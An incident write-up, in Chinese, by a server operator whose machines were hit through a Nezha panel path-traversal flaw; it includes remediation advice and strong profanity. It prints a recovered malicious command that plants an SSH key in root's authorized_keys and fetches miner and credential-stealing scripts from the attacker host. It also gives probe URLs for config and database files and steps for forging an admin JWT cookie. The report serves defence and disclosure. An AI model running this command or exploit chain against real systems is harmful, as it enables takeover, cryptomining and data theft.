事件概述
官方已经发布公告好几天了,没想到我也中招了。
在我升级哪吒前,就已经中招,只是还未发现,当时升级哪吒于事无补,狗已进门,导致几十台机器被植入挖矿木马。
万幸的是,所有数据资料均有备份,不幸中的万幸了。
折腾一宿,将所有机器重装了。
发现&排查&处理
在官方公告出来后,我就去更新了最新版的哪吒。
殊不知在我更新前就已经中招,只是还未作妖,导致我大意了,未去排查是否中招。
于昨日(2026/06/16)查看探针时,发现了不对劲的地方。
所有机器在下午1时许,CPU飙升至100%,内存吃满了,这个状态持续不到1小时,目测应该是狗东西的木马主控的机器遭封禁下线了,从而无法再控制我的机器。
立马去排查,发现所有机器莫名增加了几十上百条TCP连接。
ubuntu的系统,我使用以下命令列出所有TCP连接及所属进程
sudo lsof -i TCP
curl 13360 root 4u IPv4 58229 0t0 TCP 我机器的IP:48314->狗东西的IP:8000 (SYN_SENT)
curl 13361 root 4u IPv4 58224 0t0 TCP 我机器的IP:48308->狗东西的IP:8000 (SYN_SENT)
curl 13364 root 4u IPv4 59290 0t0 TCP 我机器的IP:48298->狗东西的IP:8000 (SYN_SENT)
curl 13365 root 4u IPv4 60638 0t0 TCP 我机器的IP:48282->狗东西的IP:8000 (SYN_SENT)
curl 13389 root 4u IPv4 59300 0t0 TCP 我机器的IP:48328->狗东西的IP:8000 (SYN_SENT)
curl 13395 root 4u IPv4 60650 0t0 TCP 我机器的IP:48338->狗东西的IP:8000 (SYN_SENT)
curl 13399 root 4u IPv4 58239 0t0 TCP 我机器的IP:48348->狗东西的IP:8000 (SYN_SENT)
curl 13402 root 4u IPv4 59305 0t0 TCP 我机器的IP:48364->狗东西的IP:8000 (SYN_SENT)
curl 13407 root 4u IPv4 60655 0t0 TCP 我机器的IP:48368->狗东西的IP:8000 (SYN_SENT)
curl 13409 root 4u IPv4 59984 0t0 TCP 我机器的IP:48370->狗东西的IP:8000 (SYN_SENT)
curl 13416 root 4u IPv4 58249 0t0 TCP 我机器的IP:48376->狗东西的IP:8000 (SYN_SENT)
curl 14185 root 4u IPv4 61813 0t0 TCP 我机器的IP:58162->狗东西的IP:8000 (SYN_SENT)
curl 14186 root 4u IPv4 61816 0t0 TCP 我机器的IP:58170->狗东西的IP:8000 (SYN_SENT)
curl 14192 root 4u IPv4 62837 0t0 TCP 我机器的IP:58186->狗东西的IP:8000 (SYN_SENT)
curl 14194 root 4u IPv4 61819 0t0 TCP 我机器的IP:58172->狗东西的IP:8000 (SYN_SENT)
curl 14201 root 4u IPv4 62845 0t0 TCP 我机器的IP:58192->狗东西的IP:8000 (SYN_SENT)
curl 14203 root 4u IPv4 62842 0t0 TCP 我机器的IP:58188->狗东西的IP:8000 (SYN_SENT)
curl 14216 root 4u IPv4 61826 0t0 TCP 我机器的IP:58194->狗东西的IP:8000 (SYN_SENT)
curl 14219 root 4u IPv4 63570 0t0 TCP 我机器的IP:58210->狗东西的IP:8000 (SYN_SENT)
curl 14225 root 4u IPv4 61829 0t0 TCP 我机器的IP:58206->狗东西的IP:8000 (SYN_SENT)
curl 14229 root 4u IPv4 61396 0t0 TCP 我机器的IP:58222->狗东西的IP:8000 (SYN_SENT)
curl 14232 root 4u IPv4 63573 0t0 TCP 我机器的IP:58230->狗东西的IP:8000 (SYN_SENT)
curl 14436 root 4u IPv4 64790 0t0 TCP 我机器的IP:43116->狗东西的IP:8000 (SYN_SENT)
curl 14437 root 4u IPv4 63023 0t0 TCP 我机器的IP:43124->狗东西的IP:8000 (SYN_SENT)
curl 14440 root 4u IPv4 61945 0t0 TCP 我机器的IP:43118->狗东西的IP:8000 (SYN_SENT)
curl 14442 root 4u IPv4 63026 0t0 TCP 我机器的IP:43136->狗东西的IP:8000 (SYN_SENT)
curl 14447 root 4u IPv4 63029 0t0 TCP 我机器的IP:43164->狗东西的IP:8000 (SYN_SENT)
curl 14448 root 4u IPv4 64798 0t0 TCP 我机器的IP:43152->狗东西的IP:8000 (SYN_SENT)
curl 14461 root 4u IPv4 63773 0t0 TCP 我机器的IP:43170->狗东西的IP:8000 (SYN_SENT)
curl 14474 root 4u IPv4 61955 0t0 TCP 我机器的IP:43190->狗东西的IP:8000 (SYN_SENT)
curl 14476 root 4u IPv4 64806 0t0 TCP 我机器的IP:43186->狗东西的IP:8000 (SYN_SENT)
curl 14477 root 4u IPv4 63039 0t0 TCP 我机器的IP:43192->狗东西的IP:8000 (SYN_SENT)
curl 14480 root 4u IPv4 63779 0t0 TCP 我机器的IP:43214->狗东西的IP:8000 (SYN_SENT)
curl 发起 TCP 握手,发送 SYN 包给 狗东西的IP,但一直没收到对方 SYN+ACK 回复,握手卡在第一步,连接建立失败。
查对方的IP,是商家DigitalOcean 的IP,IP已经不通,应该是被商家发现给封禁了。
然后我查询是什么程序在批量跑 curl
ps-ef|grep13360
结果:
oot 7309 7302 0 12:04 ? 00:00:00 curl -s 狗东西的IP:8000/recv.php -d OK
root 7439 4544 0 12:05 pts/0 00:00:00 grep --color=auto 7309
我敲,访问的一个php页面,这个页面会自动下载恶意sh脚本
POST 提交数据 OK 给对方 recv.php 接口
通过 cat /proc/7302/cmdline 得到以下恶意行为
sh-cmkdir -p /root/.ssh && chmod 700 /root/.ssh && K="$(echo c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUFsNFRJbWFJNlNJRGVBbnRyQ0NyQUh2bExleGVDa2IraitxNTdmTXBibm8=|base64 -d)" && (grep -qxF "$K" /root/.ssh/authorized_keys 2>/dev/null || echo "$K" >> /root/.ssh/authorized_keys) && curl -fsSL http://狗东西的IP:8000/xmrig.sh -o /tmp/xmrig.sh 2>/dev/null && sh /tmp/xmrig.sh & curl -fsSL http://狗东西的IP:8000/harvest.sh -o /tmp/harvest.sh 2>/dev/null && sh /tmp/harvest.sh & curl -s http://狗东西的IP:8000/recv.php -d
我勒个敲里吗的
拆解这段恶意命令得到
mkdir -p /root/.ssh && chmod 700 /root/.ssh
# 1. 创建ssh密钥目录,准备植入后门公钥
K="$(echo c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUFsNFRJbWFJNlNJRGVBbnRyQ0NyQUh2bExleGVDa2IraitxNTdmTXBibm8=|base64 -d)"
# base64解码一段ssh公钥
grep -qxF "$K" /root/.ssh/authorized_keys || echo "$K" >> /root/.ssh/authorized_keys
# 2. 写入狗东西的SSH公钥,永久留后门,狗东西可免密登录你的root
# 3. 下载挖矿程序 xmrig(门罗币挖矿木马)并后台运行
curl -fsSL http://狗东西的IP:8000/xmrig.sh -o /tmp/xmrig.sh
sh /tmp/xmrig.sh &
# 4. 下载信息窃取脚本 harvest.sh 后台运行(窃取服务器账号、文件、数据库等)
curl -fsSL http://狗东西的IP:8000/harvest.sh -o /tmp/harvest.sh
sh /tmp/harvest.sh &
# 5. 循环上报存活状态,就是你看到大量SYN_SENT卡死的curl请求
curl -s http://狗东西的IP:8000/recv.php -d 'OK'
之前一堆卡死的 curl recv.php 就是木马心跳上报,连不上恶意服务器就堆积大量半开 TCP 连接。
我敲里吗
最后懒得一台台机器去折腾了
直接全部重装完事
还好所有数据资料有备份
在这里我送这个狗东西一句话:我敲里吗祖宗十八代!
根据哪吒官方说明,受影响范围为:v1.x ~ v2.0.12。
最新版本已修复相关漏洞,建议立即更新到最新版本。
漏洞公告: https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh
漏洞验证
该漏洞本质上是一个路径穿越漏洞,攻击者可读取面板中的敏感文件,包括:
- 面板配置文件
- 数据库文件
例如面板地址为:
https://example.org/
如果能够通过以下路径直接访问到文件,则说明面板已存在安全风险:
https://example.org/dashboard../data/config.yaml
https://example.org/dashboard../data/sqlite.db
利用方式
官方也披露了完整的利用链:
- 通过路径穿越获取 config.yaml
- 从配置文件中提取 JWT Secret
- 获取 sqlite.db
- 查询 users 表获得用户 ID(默认管理员通常为 1)
- 构造 JWT,包含 user_id 和 ip
其中:
- user_id 为数据库中用户 ID
- ip 为面板获取到的访问者 IP
生成 JWT 后,将其写入浏览器 Cookie 中的 nz-jwt 即可直接登录后台。
安全建议
如果你的面板版本处于官方公告涉及范围内,官方建议:
- 立即升级 Dashboard 至最新版本;
- 重新生成或更换 JWT 会话签名密钥、Agent 连接密钥;
- 修改管理员密码,并检查是否存在陌生管理员或异常用户;
- 轮换配置文件中保存的 OAuth2 Secret等外部凭据;
- 检查是否存在异常 Agent 未授权访问、异常数据库访问、异常静态资源请求、路径穿越请求,或针对配置文件、数据库文件的访问尝试。
个人建议如果面板具备连接节点 SSH 或执行远程操作的能力,应该进一步检查所有已接入节点。
